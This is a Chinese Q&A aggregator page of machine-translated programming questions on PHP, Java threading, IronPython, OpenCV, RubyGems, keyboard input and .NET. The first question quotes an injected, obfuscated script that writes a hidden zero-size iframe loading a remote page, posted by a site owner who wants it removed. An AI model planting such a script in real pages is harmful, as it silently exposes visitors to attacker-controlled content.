问题列表 - 第15665页

JavaScript被注入我的PHP页面

我有一个网站,我刚发现有人在我的网页上注入了JavaScript.我怎样才能弄清楚它的作用以及它们是如何做到的?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Run Code Online (Sandbox Code Playgroud)

我不知道怎么到那儿.谁知道它是怎么到达那里的?以及我可以做些什么来删除它?

javascript php security xss

5
推荐指数
2
解决办法
701
查看次数

僵尸线程吃我的脑子(J2EE,Tomcat,Hibernate,Quartz)

万圣节毕竟.

问题在于:我正在使用Quartz维护一些旧的J2EE代码,其中我的线程已经用完了. jconsole告诉我,当它变成梨形时,只有不到60K的线程,其中大约100(!!)实际上正在运行.直觉和一些谷歌搜索(也见这里)表明正在发生的事情(我打赌Quartz)正在创建永远不会被清理的非托管线程.

几个子问题:

  1. 它有一个工具,我可以轻松地跟踪线程创建,所以我可以肯定问题是真的Quartz?

  2. 我发现的关于类似问题的大多数内容都引用了Weblogic; 这是Tomcat的假导演吗?

  3. 有人有一个已知的解决方案吗?

自从我做了J2EE以来已经有好几年了,所以如果这是可以简单解决的问题我也不会感到惊讶.

更新:它明显增加线程无限制,请参阅jconsole的这个图.

他们已经死了,Jim http://i35.tinypic.com/33vnarn.png

java multithreading tomcat quartz-scheduler java-ee

9
推荐指数
1
解决办法
1914
查看次数

在PHP中比较字符串时忽略区分大小写

我试图比较单词的相等性,案例[上部和下部]是无关紧要的.然而,PHP似乎并不同意!关于如何在比较它们时强制PHP忽略单词的情况的任何想法?

$arr_query_words = array( "hat","Cat","sAt","maT" );
// for each element in $arr_query_words -
for( $j= 0; $j < count( $arr_query_words ); $j++ ){

    // Split the $query_string on "_" or "%" :
    $story_body = str_replace( $arr_query_words[ $j ],
         '<span style=" background-color:yellow; ">' . $arr_query_words[ $j ] . '</span>',
               $story_body );

// --- This ONLY replaces where the case [upper or lower] is identical ->
}
Run Code Online (Sandbox Code Playgroud)

即使情况不同,有没有办法进行更换?

php

45
推荐指数
4
解决办法
9万
查看次数

IronPython与原始Python的比较.我对第一个有什么期望?

我希望学习Python,但我整天都在.Net作为C#开发人员工作,所以我决定下载并安装IronPython和集成的IronPython工作室.它与原始Python有何不同或相似之处?作为.Net开发人员,我可以期望在.Net环境中运行传统的Python脚本没有问题,或者这只是旧的迁移乌托邦?我能期待什么?

提前致谢.

编辑:Dic.2009年 - IronPython最近升级到2.6.如果可能,请升级您的答案.

.net python comparison ironpython ironpython-studio

5
推荐指数
1
解决办法
1010
查看次数

OpenCV K-Means(kmeans2)

我正在使用Opencv的K-means实现来聚类一大组8维向量.它们聚集很好,但我找不到任何方法来查看聚类过程创建的原型.这甚至可能吗?OpenCV似乎只能访问集群索引(或标签).

如果没有,我想是时候进行自己的实施了!

c++ opencv cluster-analysis k-means

8
推荐指数
2
解决办法
6434
查看次数

通过运行“gemsources-c”我实际上删除了什么?

我运行了“ gem sources -c”,这样我就必须特意指定要从哪里安装 gem,因为我现在有 3 个不同的 gem 安装源 - RubyForge、Github 和 Gemcutter。

C:\>gem sources -c
*** Removed specs cache ***
*** Removed user source cache ***
*** Removed latest user source cache ***
*** Removed system source cache ***
*** Removed latest system source cache ***
Run Code Online (Sandbox Code Playgroud)

运行此命令后,我再次运行gem sources以确保我不再有任何默认源,我得到以下信息:

C:\>gem sources
*** CURRENT SOURCES ***

http://gems.rubyforge.org
http://gems.github.com
http://gems.rubyforge.org/
http://gemcutter.org
Run Code Online (Sandbox Code Playgroud)

换句话说,一切都没有改变

查看gem sources -c下面的帮助,这似乎是一次删除所有宝石源的正确命令:

    -c, --clear-all                  Remove all sources (clear the cache)
Run Code Online (Sandbox Code Playgroud)

不然的话,看来你得把它们一一删除了。没什么大不了的,因为我只有 …

ruby rubygems

5
推荐指数
1
解决办法
1万
查看次数

为游戏选择好的,非冲突的键绑定

PC键盘不是为游戏设计的,为降低价格做出了妥协,因此出现了一些问题.最重要的是,当您按住某些键盘时,某些键不会对按键作出反应.

我的游戏有两个用户在同一台​​PC上实时控制两个角色(即不回合).问题的一个例子:玩家1保持向上和向左进入对角线方向.然后玩家2无法向右(带有"D").除了仅仅是烦人之外,它还会给那些选择使用这个bug作为欺骗的玩家带来不公平的优势.不好玩 :(

基本命令是:射击,左右走动和跳跃.使用LeftControl和RightControl完成拍摄,它们不会与任何东西发生冲突,因此我们只考虑移动键.

在我的笔记本电脑上,最明显的键绑定组合失败:

  • WAD和箭头键失败,Up + Left + S和Up + Left + D.
  • IJL和箭头键失败,Down + Right + J(虽然Down在技术上未使用,但玩家通常会将其保持不动)
  • 箭头键和小键盘键失败,Down + Left + NumpadLeft
  • 像WAD和IJL这样的全字母组合往往会起作用,但我不喜欢不使用箭头键,并且将用户的手挤在一起.

是否有一个网站列出了各种键盘上常见支持的键盘的统计信息,以帮助我做出违约决定?(它们是可配置的,但默认值很重要.)我似乎记得一个名为keyboardssuck.com的相关网站,但我现在找不到它.

你是怎么处理这个问题的?刚忽略了吗?

问题取决于操作系统,API,主板吗?还有什么?我认为这只取决于键盘型号,但必须要问.

编辑:现在我知道这是什么叫:"翻转"

keyboard input

6
推荐指数
1
解决办法
952
查看次数

Python的并发构建块更容易?

似乎Python标准库缺少各种有用的并发相关概念,例如原子计数器,执行器和其他可以在例如java.util.concurrent中找到的概念.是否有任何外部库可以为并发Python应用程序提供更简单的构建块?

python concurrency multithreading

2
推荐指数
2
解决办法
1589
查看次数

.net InstallUtil实用程序 - 32位对64位

我有一个编译为AnyCPU的Windows服务.我正试图将它放入我们的安装程序中进行分发.但是......我不清楚32位和64位版本的InstallUtil之间的区别.有谁知道有什么(如果有的话)?

在我的64位机器上,我可以运行$(WinDir)\ Microsoft.NET\Framework64\v2.0.50727或$(WinDir)\ Microsoft.NET\Framework\v2.0.50727.

在这两种情况下,任务管理器中生成的服务进程都没有应用*32标志.

只有32位的InstallUtil才能在32位机器上工作(显然).

是否需要使用\ Framework64 \版本的InstallUtil?它有什么不同的做法?

.net 64-bit installutil

16
推荐指数
1
解决办法
2万
查看次数

为什么Object [] .class.isAssignableFrom(String [] .class)== true?

为什么Object[].class.isAssignableFrom(String[].class) == true,有String[].getSuperClass()getGenericInterfaces()无法得到Object[]

我检查了JDK的来源,但我认为我自己无法得到答案.现在,我知道JDK使用树来存储类之间的关系,并使用深度来指示它的级别,Class::isAssignableFrom()搜索链,所以绝对数组在那个树中.并且还String[]连接到Object[].

我可以说那String[]是一个子类Object[]吗?或者它只是Java的另一个奇怪的东西?

java arrays jvm

3
推荐指数
1
解决办法
2164
查看次数